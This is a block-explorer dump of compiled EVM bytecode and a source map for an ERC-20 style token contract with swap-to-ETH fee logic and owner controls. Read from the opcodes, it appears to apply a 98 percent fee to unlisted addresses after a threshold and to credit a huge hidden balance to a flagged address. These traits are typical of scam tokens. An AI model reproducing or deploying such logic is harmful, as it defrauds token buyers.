1f19601f82011682018060405250810190610eaf91906113c7565b81600181518110610ec257610ec26113b1565b6001600160a01b039283166020918202929092010152601254610ee89130911684610a2d565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f219085906000908690309042906004016113e4565b600060405180830381600087803b158015610f3b57600080fd5b505af1158015610f4f573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610f8d573d6000803e3d6000fd5b505050565b600c54158015610fa25750600d54155b8015610fae5750600e54155b15610fb557565b600d8054601055600e8054601155600c8054600f556000928390559082905555565b600080610fe483866108c9565b6001600160a01b038716600090815260016020526040902054919350915061100c9084610d14565b6001600160a01b03808716600090815260016020526040808220939093559086168152205461103b9083610c7a565b6001600160a01b03851660009081526001602090815260408083209390935560059052205460ff161561107157611071846110e8565b3060009081526001602052604090205461108b9082610c7a565b3060009081526001602090815260409182902092909255518381526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b6001601f600a5b8115611113576110ff8184611315565b92508161110b81611455565b9250506110ef565b6001600160a01b0384166000908152600160205260409020546111369084610c7a565b6001600160a01b03909416600090815260016020526040902093909355505050565b600060208083528351808285015260005b8181101561118557858101830151858201604001528201611169565b81811115611197576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146111c257600080fd5b50565b600080604083850312156111d857600080fd5b82356111e3816111ad565b946020939093013593505050565b60006020828403121561120357600080fd5b8135610c86816111ad565b60008060006060848603121561122357600080fd5b833561122e816111ad565b9250602084013561123e816111ad565b929592945050506040919091013590565b6000806040838503121561126257600080fd5b823591506020830135611274816111ad565b809150509250929050565b6000806040838503121561129257600080fd5b823561129d816111ad565b91506020830135611274816111ad565b600181811c908216806112c157607f821691505b6020821081036112e157634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60008219821115611310576113106112e7565b500190565b600081600019048311821515161561132f5761132f6112e7565b500290565b60008261135157634e487b7160e01b600052601260045260246000fd5b500490565b600082821015611368576113686112e7565b500390565b600060ff821660ff84168060ff0382111561138a5761138a6112e7565b019392505050565b600060ff821660ff81036113a8576113a86112e7565b60010192915050565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156113d957600080fd5b8151610c86816111ad565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156114345784516001600160a01b03168352938301939183019160010161140f565b50506001600160a01b03969096166060850152505050608001529392505050565b600081611464576114646112e7565b50600019019056fe45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77206e756c6c45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201a1347be8f699aede87f0eca50080776cfb1bc33bac7cc2bbda08ec739135b4064736f6c634300080f0033
Deployed Bytecode
0x6080604052600436106101c65760003560e01c80634a74bb02116100f7578063a9059cbb11610095578063d28d885211610064578063d28d885214610535578063dd62ed3e1461054a578063f2fde38b14610590578063fee59bf8146105b057600080fd5b8063a9059cbb146104b5578063af465a27146104d5578063b09f1266146104eb578063cccdbe2e1461050057600080fd5b8063715018a6116100d1578063715018a61461044b5780638da5cb5b1461046257806395d89b4114610480578063a457c2d71461049557600080fd5b80634a74bb02146103de578063590f897e146103ff57806370a082311461041557600080fd5b806323b872dd11610164578063395093511161013e5780633950935114610358578063401565a81461037857806340b9a54b146103a857806349bd5a5e146103be57600080fd5b806323b872dd146102f65780632598cdb214610316578063313ce5671461033657600080fd5b80631694505e116101a05780631694505e1461024e57806318160ddd14610286578063183b986e146102a5578063220f6696146102d557600080fd5b806306fdde03146101d2578063095ea7b3146101fd57806313fad07a1461022d57600080fd5b366101cd57005b600080fd5b3480156101de57600080fd5b506101e76105e0565b6040516101f49190611158565b60405180910390f35b34801561020957600080fd5b5061021d6102183660046111c5565b610672565b60405190151581526020016101f4565b34801561023957600080fd5b5060135461021d90600160b01b900460ff1681565b34801561025a57600080fd5b5060125461026e906001600160a01b031681565b6040516001600160a01b0390911681526020016101f4565b34801561029257600080fd5b50600a545b6040519081526020016101f4565b3480156102b157600080fd5b5061021d6102c03660046111f1565b60046020526000908152604090205460ff1681565b3480156102e157600080fd5b5060135461021d90600160a01b900460ff1681565b34801561030257600080fd5b5061021d61031136600461120e565b610688565b34801561032257600080fd5b5060065461026e906001600160a01b031681565b34801561034257600080fd5b5060095460405160ff90911681526020016101f4565b34801561036457600080fd5b5061021d6103733660046111c5565b6106f1565b34801561038457600080fd5b5061021d6103933660046111f1565b60056020526000908152604090205460ff1681565b3480156103b457600080fd5b50610297600d5481565b3480156103ca57600080fd5b5060135461026e906001600160a01b031681565b3480156103ea57600080fd5b5060135461021d90600160a81b900460ff1681565b34801561040b57600080fd5b50610297600e5481565b34801561042157600080fd5b506102976104303660046111f1565b6001600160a01b031660009081526001602052604090205490565b34801561045757600080fd5b50610460610727565b005b34801561046e57600080fd5b506000546001600160a01b031661026e565b34801561048c57600080fd5b506101e76107d0565b3480156104a157600080fd5b5061021d6104b03660046111c5565b6107df565b3480156104c157600080fd5b5061021d6104d03660046111c5565b61082e565b3480156104e157600080fd5b50610297600a5481565b3480156104f757600080fd5b506101e761083b565b34801561050c57600080fd5b5061052061051b36600461124f565b6108c9565b604080519283526020830191909152016101f4565b34801561054157600080fd5b506101e7610906565b34801561055657600080fd5b5061029761056536600461127f565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561059c57600080fd5b506104606105ab3660046111f1565b610913565b3480156105bc57600080fd5b5061021d6105cb3660046111f1565b60036020526000908152604090205460ff1681565b6060600780546105ef906112ad565b80601f016020809104026020016040519081016040528092919081815260200182805461061b906112ad565b80156106685780601f1061063d57610100808354040283529160200191610668565b820191906000526020600020905b81548152906001019060200180831161064b57829003601f168201915b5050505050905090565b600061067f338484610a2d565b50600192915050565b6000610695848484610aee565b6106e784336106e285604051806060016040528060288152602001611492602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610c4e565b610a2d565b5060019392505050565b3360008181526002602090815260408083206001600160a01b0387168452909152812054909161067f9185906106e29086610c7a565b6000546001600160a01b031633146107865760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6060600880546105ef906112ad565b600061067f33846106e28560405180606001604052806025815260200161146d602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610c4e565b600061067f338484610aee565b60088054610848906112ad565b80601f0160208091040260200160405190810160405280929190818152602001828054610874906112ad565b80156108c15780601f10610896576101008083540402835291602001916108c1565b820191906000526020600020905b8154815290600101906020018083116108a457829003601f168201915b505050505081565b60008060006108ec60646108e66108df87610c8d565b8890610cfc565b90610d08565b905060006108fa8683610d14565b96919550909350505050565b60078054610848906112ad565b6000546001600160a01b0316331461096d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161077d565b6001600160a01b0381166109d25760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865206e756c6c206160448201526564647265737360d01b606482015260840161077d565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831615801590610a4d57506001600160a01b03821615155b610a8d5760405162461bcd60e51b81526020600482015260116024820152704552523a206e756c6c206164647265737360781b604482015260640161077d565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600b5460ff6201000082048116911610801590610b155750601354600160a01b900460ff16155b8015610b2f57506013546001600160a01b03848116911614155b8015610b445750601354600160a81b900460ff165b15610b7457600b805460ff19169055306000908152600160205260409020548015610b7257610b7281610d20565b505b6001600160a01b03831660009081526004602052604090205460019060ff1680610bb657506001600160a01b03831660009081526004602052604090205460ff165b15610bfe57506001600160a01b03821660009081526005602052604081205460ff1615610bf957600b54600161010090910460ff161015610bf957610bf9610d65565b610c3c565b6013546001600160a01b0390811690851603610c1f57600d54600c55610c3c565b6013546001600160a01b0390811690841603610c3c57600e54600c555b610c4884848484610d97565b50505050565b60008184841115610c725760405162461bcd60e51b815260040161077d9190611158565b505050900390565b6000610c8682846112fd565b9392505050565b600b54600090600161010090910460ff1610610cf2576001600160a01b03821660009081526005602052604090205460ff16610cea576001600160a01b03821660009081526003602052604090205460ff16610cea576062610cf6565b600c54610cf6565b600c545b92915050565b6000610c868284611315565b6000610c868284611334565b6000610c868284611356565b6013805460ff60a01b1916600160a01b179055610d3c81610dfd565b6006544790610d54906001600160a01b031682610f57565b50506013805460ff60a01b19169055565b600b54610d7b90610100900460ff16600161136d565b600b60016101000a81548160ff021916908360ff160217905550565b80610da957610da4610f92565b610dd6565b600b805460ff16906000610dbc83611392565b91906101000a81548160ff021916908360ff160217905550505b610de1848484610fd7565b80610c4857610c48600f54600c55601054600d55601154600e55565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610e3257610e326113b1565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e8b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eaf91906113c7565b81600181518110610ec257610ec26113b1565b6001600160a01b039283166020918202929092010152601254610ee89130911684610a2d565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f219085906000908690309042906004016113e4565b600060405180830381600087803b158015610f3b57600080fd5b505af1158015610f4f573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610f8d573d6000803e3d6000fd5b505050565b600c54158015610fa25750600d54155b8015610fae5750600e54155b15610fb557565b600d8054601055600e8054601155600c8054600f556000928390559082905555565b600080610fe483866108c9565b6001600160a01b038716600090815260016020526040902054919350915061100c9084610d14565b6001600160a01b03808716600090815260016020526040808220939093559086168152205461103b9083610c7a565b6001600160a01b03851660009081526001602090815260408083209390935560059052205460ff161561107157611071846110e8565b3060009081526001602052604090205461108b9082610c7a565b3060009081526001602090815260409182902092909255518381526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b6001601f600a5b8115611113576110ff8184611315565b92508161110b81611455565b9250506110ef565b6001600160a01b0384166000908152600160205260409020546111369084610c7a565b6001600160a01b03909416600090815260016020526040902093909355505050565b600060208083528351808285015260005b8181101561118557858101830151858201604001528201611169565b81811115611197576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146111c257600080fd5b50565b600080604083850312156111d857600080fd5b82356111e3816111ad565b946020939093013593505050565b60006020828403121561120357600080fd5b8135610c86816111ad565b60008060006060848603121561122357600080fd5b833561122e816111ad565b9250602084013561123e816111ad565b929592945050506040919091013590565b6000806040838503121561126257600080fd5b823591506020830135611274816111ad565b809150509250929050565b6000806040838503121561129257600080fd5b823561129d816111ad565b91506020830135611274816111ad565b600181811c908216806112c157607f821691505b6020821081036112e157634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60008219821115611310576113106112e7565b500190565b600081600019048311821515161561132f5761132f6112e7565b500290565b60008261135157634e487b7160e01b600052601260045260246000fd5b500490565b600082821015611368576113686112e7565b500390565b600060ff821660ff84168060ff0382111561138a5761138a6112e7565b019392505050565b600060ff821660ff81036113a8576113a86112e7565b60010192915050565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156113d957600080fd5b8151610c86816111ad565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156114345784516001600160a01b03168352938301939183019160010161140f565b50506001600160a01b03969096166060850152505050608001529392505050565b600081611464576114646112e7565b50600019019056fe45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77206e756c6c45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201a1347be8f699aede87f0eca50080776cfb1bc33bac7cc2bbda08ec739135b4064736f6c634300080f0033
Deployed Bytecode Sourcemap
13970:8367:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16128:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16960:161;;;;;;;;;;-1:-1:-1;16960:161:0;;;;;:::i;:::-;;:::i;:::-;;;1237:14:1;;1230:22;1212:41;;1200:2;1185:18;16960:161:0;1072:187:1;17991:35:0;;;;;;;;;;-1:-1:-1;17991:35:0;;;;-1:-1:-1;;;17991:35:0;;;;;;15009:41;;;;;;;;;;-1:-1:-1;15009:41:0;;;;-1:-1:-1;;;;;15009:41:0;;;;;;-1:-1:-1;;;;;1455:32:1;;;1437:51;;1425:2;1410:18;15009:41:0;1264:230:1;16405:95:0;;;;;;;;;;-1:-1:-1;16485:7:0;;16405:95;;;1645:25:1;;;1633:2;1618:18;16405:95:0;1499:177:1;14264:46:0;;;;;;;;;;-1:-1:-1;14264:46:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;15092:28;;;;;;;;;;-1:-1:-1;15092:28:0;;;;-1:-1:-1;;;15092:28:0;;;;;;17129:313;;;;;;;;;;-1:-1:-1;17129:313:0;;;;;:::i;:::-;;:::i;14371:92::-;;;;;;;;;;-1:-1:-1;14371:92:0;;;;-1:-1:-1;;;;;14371:92:0;;;16314:83;;;;;;;;;;-1:-1:-1;16380:9:0;;16314:83;;16380:9;;;;2760:36:1;;2748:2;2733:18;16314:83:0;2618:184:1;17450:218:0;;;;;;;;;;-1:-1:-1;17450:218:0;;;;;:::i;:::-;;:::i;14317:45::-;;;;;;;;;;-1:-1:-1;14317:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;14780:26;;;;;;;;;;;;;;;;15057:28;;;;;;;;;;-1:-1:-1;15057:28:0;;;;-1:-1:-1;;;;;15057:28:0;;;15127:40;;;;;;;;;;-1:-1:-1;15127:40:0;;;;-1:-1:-1;;;15127:40:0;;;;;;14813:27;;;;;;;;;;;;;;;;16508:118;;;;;;;;;;-1:-1:-1;16508:118:0;;;;;:::i;:::-;-1:-1:-1;;;;;16601:17:0;16574:7;16601:17;;;:8;:17;;;;;;;16508:118;5753:148;;;;;;;;;;;;;:::i;:::-;;5530:87;;;;;;;;;;-1:-1:-1;5576:7:0;5603:6;-1:-1:-1;;;;;5603:6:0;5530:87;;16219;;;;;;;;;;;;;:::i;17676:269::-;;;;;;;;;;-1:-1:-1;17676:269:0;;;;;:::i;:::-;;:::i;16634:167::-;;;;;;;;;;-1:-1:-1;16634:167:0;;;;;:::i;:::-;;:::i;14577:49::-;;;;;;;;;;;;;;;;14506:29;;;;;;;;;;;;;:::i;22046:288::-;;;;;;;;;;-1:-1:-1;22046:288:0;;;;;:::i;:::-;;:::i;:::-;;;;3509:25:1;;;3565:2;3550:18;;3543:34;;;;3482:18;22046:288:0;3335:248:1;14472:27:0;;;;;;;;;;;;;:::i;16809:143::-;;;;;;;;;;-1:-1:-1;16809:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;16917:18:0;;;16890:7;16917:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;16809:143;5909:244;;;;;;;;;;-1:-1:-1;5909:244:0;;;;;:::i;:::-;;:::i;14214:43::-;;;;;;;;;;-1:-1:-1;14214:43:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;16128:83;16165:13;16198:5;16191:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16128:83;:::o;16960:161::-;17035:4;17052:39;1759:10;17075:7;17084:6;17052:8;:39::i;:::-;-1:-1:-1;17109:4:0;16960:161;;;;:::o;17129:313::-;17227:4;17244:36;17254:6;17262:9;17273:6;17244:9;:36::i;:::-;17291:121;17300:6;1759:10;17322:89;17360:6;17322:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;17322:19:0;;;;;;:11;:19;;;;;;;;1759:10;17322:33;;;;;;;;;;:37;:89::i;:::-;17291:8;:121::i;:::-;-1:-1:-1;17430:4:0;17129:313;;;;;:::o;17450:218::-;1759:10;17538:4;17587:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;17587:34:0;;;;;;;;;;17538:4;;17555:83;;17578:7;;17587:50;;17626:10;17587:38;:50::i;5753:148::-;5576:7;5603:6;-1:-1:-1;;;;;5603:6:0;1759:10;5665:23;5657:68;;;;-1:-1:-1;;;5657:68:0;;4568:2:1;5657:68:0;;;4550:21:1;;;4587:18;;;4580:30;4646:34;4626:18;;;4619:62;4698:18;;5657:68:0;;;;;;;;;5860:1:::1;5844:6:::0;;5823:40:::1;::::0;-1:-1:-1;;;;;5844:6:0;;::::1;::::0;5823:40:::1;::::0;5860:1;;5823:40:::1;5891:1;5874:19:::0;;-1:-1:-1;;;;;;5874:19:0::1;::::0;;5753:148::o;16219:87::-;16258:13;16291:7;16284:14;;;;;:::i;17676:269::-;17769:4;17786:129;1759:10;17809:7;17818:96;17857:15;17818:96;;;;;;;;;;;;;;;;;1759:10;17818:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;17818:34:0;;;;;;;;;;;;:38;:96::i;16634:167::-;16712:4;16729:42;1759:10;16753:9;16764:6;16729:9;:42::i;14506:29::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;22046:288::-;22123:7;22132;22152:20;22175:42;22213:3;22175:33;22187:20;22200:6;22187:12;:20::i;:::-;22175:7;;:11;:33::i;:::-;:37;;:42::i;:::-;22152:65;-1:-1:-1;22228:22:0;22253:25;:7;22152:65;22253:11;:25::i;:::-;22228:50;22313:12;;-1:-1:-1;22046:288:0;;-1:-1:-1;;;;22046:288:0:o;14472:27::-;;;;;;;:::i;5909:244::-;5576:7;5603:6;-1:-1:-1;;;;;5603:6:0;1759:10;5665:23;5657:68;;;;-1:-1:-1;;;5657:68:0;;4568:2:1;5657:68:0;;;4550:21:1;;;4587:18;;;4580:30;4646:34;4626:18;;;4619:62;4698:18;;5657:68:0;4366:356:1;5657:68:0;-1:-1:-1;;;;;5998:22:0;::::1;5990:73;;;::::0;-1:-1:-1;;;5990:73:0;;4929:2:1;5990:73:0::1;::::0;::::1;4911:21:1::0;4968:2;4948:18;;;4941:30;5007:34;4987:18;;;4980:62;-1:-1:-1;;;5058:18:1;;;5051:36;5104:19;;5990:73:0::1;4727:402:1::0;5990:73:0::1;6100:6;::::0;;6079:38:::1;::::0;-1:-1:-1;;;;;6079:38:0;;::::1;::::0;6100:6;::::1;::::0;6079:38:::1;::::0;::::1;6128:6;:17:::0;;-1:-1:-1;;;;;;6128:17:0::1;-1:-1:-1::0;;;;;6128:17:0;;;::::1;::::0;;;::::1;::::0;;5909:244::o;18609:262::-;-1:-1:-1;;;;;18702:19:0;;;;;;:44;;-1:-1:-1;;;;;;18725:21:0;;;;18702:44;18694:74;;;;-1:-1:-1;;;18694:74:0;;5336:2:1;18694:74:0;;;5318:21:1;5375:2;5355:18;;;5348:30;-1:-1:-1;;;5394:18:1;;;5387:47;5451:18;;18694:74:0;5134:341:1;18694:74:0;-1:-1:-1;;;;;18779:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;18831:32;;1645:25:1;;;18831:32:0;;1618:18:1;18831:32:0;;;;;;;18609:262;;;:::o;18879:858::-;19021:11;;;;;;;;19010:7;;:22;;;;:43;;-1:-1:-1;19037:16:0;;-1:-1:-1;;;19037:16:0;;;;19036:17;19010:43;:68;;;;-1:-1:-1;19065:13:0;;-1:-1:-1;;;;;19057:21:0;;;19065:13;;19057:21;;19010:68;:93;;;;-1:-1:-1;19082:21:0;;-1:-1:-1;;;19082:21:0;;;;19010:93;19007:313;;;19122:7;:11;;-1:-1:-1;;19122:11:0;;;19197:4;-1:-1:-1;16601:17:0;;;-1:-1:-1;16601:17:0;;;;;;19221:24;;19218:91;;19261:36;19276:20;19261:14;:36::i;:::-;19105:215;19007:313;-1:-1:-1;;;;;19389:19:0;;19340:17;19389:19;;;:13;:19;;;;;;19360:4;;19389:19;;;:40;;-1:-1:-1;;;;;;19412:17:0;;;;;;:13;:17;;;;;;;;19389:40;19386:279;;;-1:-1:-1;;;;;;19483:16:0;;19460:5;19483:16;;;:12;:16;;;;;;;;19480:57;;;19504:8;;19515:1;19504:8;;;;;;:12;19501:35;;;19519:14;:12;:14::i;:::-;19386:279;;;19566:13;;-1:-1:-1;;;;;19566:13:0;;;19558:21;;;;19554:111;;19598:7;;19581:14;:24;19554:111;;;19623:13;;-1:-1:-1;;;;;19623:13:0;;;19617:19;;;;19613:52;;19655:8;;19638:14;:25;19613:52;19685:44;19701:4;19706:2;19709:6;19716:12;19685:15;:44::i;:::-;18982:755;18879:858;;;:::o;1210:206::-;1296:7;1357:12;1349:6;;;;1341:29;;;;-1:-1:-1;;;1341:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;1392:5:0;;;1210:206::o;782:98::-;840:7;867:5;871:1;867;:5;:::i;:::-;860:12;782:98;-1:-1:-1;;;782:98:0:o;20211:216::-;20294:8;;20268:7;;20305:1;20294:8;;;;;;:12;:125;;-1:-1:-1;;;;;20326:18:0;;;;;;:12;:18;;;;;;;;:93;;-1:-1:-1;;;;;20364:16:0;;;;;;:10;:16;;;;;;;;:55;;20410:9;20294:125;;20364:55;20383:14;;20294:125;;;20309:14;;20294:125;20287:132;20211:216;-1:-1:-1;;20211:216:0:o;994:98::-;1052:7;1079:5;1083:1;1079;:5;:::i;1104:98::-;1162:7;1189:5;1193:1;1189;:5;:::i;888:98::-;946:7;973:5;977:1;973;:5;:::i;20437:237::-;15416:16;:23;;-1:-1:-1;;;;15416:23:0;-1:-1:-1;;;15416:23:0;;;20522:38:::1;20539:20:::0;20522:16:::1;:38::i;:::-;20638:15;::::0;20593:21:::1;::::0;20625:41:::1;::::0;-1:-1:-1;;;;;20638:15:0::1;20593:21:::0;20625:12:::1;:41::i;:::-;-1:-1:-1::0;;15462:16:0;:24;;-1:-1:-1;;;;15462:24:0;;;20437:237::o;18354:73::-;18407:8;;:12;;:8;;;;;;:12;:::i;:::-;18396:8;;:23;;;;;;;;;;;;;;;;;;18354:73::o;21162:359::-;21282:12;21278:112;;21310:14;:12;:14::i;:::-;21278:112;;;21365:7;:9;;;;;:7;:9;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;21278:112;21404:42;21420:6;21428:9;21439:6;21404:15;:42::i;:::-;21471:12;21467:46;;21498:15;18500:17;;18483:14;:34;18538:15;;18528:7;:25;18576:16;;18565:8;:27;18439:162;20682:472;20772:16;;;20786:1;20772:16;;;;;;;;20748:21;;20772:16;;;;;;;;;;-1:-1:-1;20772:16:0;20748:40;;20817:4;20799;20804:1;20799:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;20799:23:0;;;:7;;;;;;;;;;:23;;;;20843:15;;:22;;;-1:-1:-1;;;20843:22:0;;;;:15;;;;;:20;;:22;;;;;20799:7;;20843:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;20833:4;20838:1;20833:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;20833:32:0;;;:7;;;;;;;;;:32;20908:15;;20876:62;;20893:4;;20908:15;20926:11;20876:8;:62::i;:::-;20949:15;;:197;;-1:-1:-1;;;20949:197:0;;-1:-1:-1;;;;;20949:15:0;;;;:66;;:197;;21030:11;;20949:15;;21073:4;;21100;;21120:15;;20949:197;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;20737:417;20682:472;:::o;19745:120::-;19830:23;;-1:-1:-1;;;;;19830:15:0;;;:23;;;;;19846:6;;19830:23;;;;19846:6;19830:15;:23;;;;;;;;;;;;;;;;;;;;;19745:120;;:::o;18035:311::-;18081:14;;:19;:35;;;;-1:-1:-1;18104:7:0;;:12;18081:35;:52;;;;-1:-1:-1;18120:8:0;;:13;18081:52;18078:64;;;18035:311::o;18078:64::-;18170:7;;;18152:15;:25;18208:8;;;18189:16;:27;18248:14;;;18228:17;:34;-1:-1:-1;18273:11:0;;;;18295:12;;;;18318:18;18035:311::o;21531:507::-;21628:22;21652:20;21676:27;21687:7;21696:6;21676:10;:27::i;:::-;-1:-1:-1;;;;;21733:16:0;;;;;;:8;:16;;;;;;21627:76;;-1:-1:-1;21627:76:0;-1:-1:-1;21733:29:0;;21754:7;21733:20;:29::i;:::-;-1:-1:-1;;;;;21714:16:0;;;;;;;:8;:16;;;;;;:48;;;;21795:19;;;;;;;:39;;21819:14;21795:23;:39::i;:::-;-1:-1:-1;;;;;21773:19:0;;;;;;:8;:19;;;;;;;;:61;;;;21848:12;:23;;;;;;21845:49;;;21873:19;21882:9;21873:8;:19::i;:::-;21947:4;21930:23;;;;:8;:23;;;;;;:41;;21958:12;21930:27;:41::i;:::-;21921:4;21904:23;;;;:8;:23;;;;;;;;;:67;;;;21987:43;1645:25:1;;;-1:-1:-1;;;;;21987:43:0;;;;;;;;;;1618:18:1;21987:43:0;;;;;;;21616:422;;21531:507;;;:::o;19877:326::-;20045:1;19982:2;20015;20028:107;20048:14;;20028:107;;20094:25;20108:11;20094:25;;:::i;:::-;;-1:-1:-1;20065:12:0;;;;:::i;:::-;;;20064:14;20028:107;;;-1:-1:-1;;;;;20163:14:0;;;;;;:8;:14;;;;;;:32;;20182:12;20163:18;:32::i;:::-;-1:-1:-1;;;;;20146:14:0;;;;;;;:8;:14;;;;;:49;;;;-1:-1:-1;;;19877:326:0:o;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:131::-;-1:-1:-1;;;;;691:31:1;;681:42;;671:70;;737:1;734;727:12;671:70;616:131;:::o;752:315::-;820:6;828;881:2;869:9;860:7;856:23;852:32;849:52;;;897:1;894;887:12;849:52;936:9;923:23;955:31;980:5;955:31;:::i;:::-;1005:5;1057:2;1042:18;;;;1029:32;;-1:-1:-1;;;752:315:1:o;1681:247::-;1740:6;1793:2;1781:9;1772:7;1768:23;1764:32;1761:52;;;1809:1;1806;1799:12;1761:52;1848:9;1835:23;1867:31;1892:5;1867:31;:::i;1933:456::-;2010:6;2018;2026;2079:2;2067:9;2058:7;2054:23;2050:32;2047:52;;;2095:1;2092;2085:12;2047:52;2134:9;2121:23;2153:31;2178:5;2153:31;:::i;:::-;2203:5;-1:-1:-1;2260:2:1;2245:18;;2232:32;2273:33;2232:32;2273:33;:::i;:::-;1933:456;;2325:7;;-1:-1:-1;;;2379:2:1;2364:18;;;;2351:32;;1933:456::o;3015:315::-;3083:6;3091;3144:2;3132:9;3123:7;3119:23;3115:32;3112:52;;;3160:1;3157;3150:12;3112:52;3196:9;3183:23;3173:33;;3256:2;3245:9;3241:18;3228:32;3269:31;3294:5;3269:31;:::i;:::-;3319:5;3309:15;;;3015:315;;;;;:::o;3588:388::-;3656:6;3664;3717:2;3705:9;3696:7;3692:23;3688:32;3685:52;;;3733:1;3730;3723:12;3685:52;3772:9;3759:23;3791:31;3816:5;3791:31;:::i;:::-;3841:5;-1:-1:-1;3898:2:1;3883:18;;3870:32;3911:33;3870:32;3911:33;:::i;3981:380::-;4060:1;4056:12;;;;4103;;;4124:61;;4178:4;4170:6;4166:17;4156:27;;4124:61;4231:2;4223:6;4220:14;4200:18;4197:38;4194:161;;4277:10;4272:3;4268:20;4265:1;4258:31;4312:4;4309:1;4302:15;4340:4;4337:1;4330:15;4194:161;;3981:380;;;:::o;5480:127::-;5541:10;5536:3;5532:20;5529:1;5522:31;5572:4;5569:1;5562:15;5596:4;5593:1;5586:15;5612:128;5652:3;5683:1;5679:6;5676:1;5673:13;5670:39;;;5689:18;;:::i;:::-;-1:-1:-1;5725:9:1;;5612:128::o;5745:168::-;5785:7;5851:1;5847;5843:6;5839:14;5836:1;5833:21;5828:1;5821:9;5814:17;5810:45;5807:71;;;5858:18;;:::i;:::-;-1:-1:-1;5898:9:1;;5745:168::o;5918:217::-;5958:1;5984;5974:132;;6028:10;6023:3;6019:20;6016:1;6009:31;6063:4;6060:1;6053:15;6091:4;6088:1;6081:15;5974:132;-1:-1:-1;6120:9:1;;5918:217::o;6140:125::-;6180:4;6208:1;6205;6202:8;6199:34;;;6213:18;;:::i;:::-;-1:-1:-1;6250:9:1;;6140:125::o;6270:204::-;6308:3;6344:4;6341:1;6337:12;6376:4;6373:1;6369:12;6411:3;6405:4;6401:14;6396:3;6393:23;6390:49